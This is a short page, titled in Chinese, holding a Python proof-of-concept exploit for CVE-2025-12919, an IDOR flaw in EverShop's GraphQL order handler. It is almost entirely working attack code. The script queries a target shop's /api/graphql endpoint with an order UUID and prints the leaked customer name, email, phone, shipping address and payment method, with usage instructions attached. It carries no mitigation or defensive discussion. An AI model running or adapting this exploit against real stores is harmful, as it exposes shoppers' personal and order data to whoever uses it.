CVE-2025-12919: EverShop订单处理器IDOR漏洞导致订单信息泄露

# CVE-2025-12919 EverShop Order Information Disclosure PoC # Target: EverShop <= 2.0.1 # Vulnerability: IDOR in Order Handler GraphQL resolver # Affected File: /src/modules/oms/graphql/types/Order/Order.resolvers.js import requests import sys def exploit_order_leak(target_url, order_uuid): """ Exploit the IDOR vulnerability to leak order information """ graphql_endpoint = f"{target_url}/api/graphql" query = f""" query {{ order(uuid: "{order_uuid}") {{ id orderNumber customer {{ firstName lastName email telephone }} items {{ productId productName quantity price }} shippingAddress {{ address1 address2 city country postalCode }} paymentMethod total status }} }} """ headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } payload = {'query': query} try: response = requests.post(graphql_endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: data = response.json() if 'data' in data and 'order' in data['data']: order = data['data']['order'] if order: print(f"[+] Successfully leaked order information:") print(f" Order UUID: {order_uuid}") print(f" Order Number: {order.get('orderNumber')}") print(f" Customer: {order.get('customer', {}).get('firstName')} {order.get('customer', {}).get('lastName')}") print(f" Email: {order.get('customer', {}).get('email')}") return True print("[-] Failed to retrieve order information") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <order_uuid>") print(f"Example: python {sys.argv[0]} http://vulnerable-shop.com 550e8400-e29b-41d4-a716-446655440000") sys.exit(1) target = sys.argv[1] uuid = sys.argv[2] exploit_order_leak(target, uuid)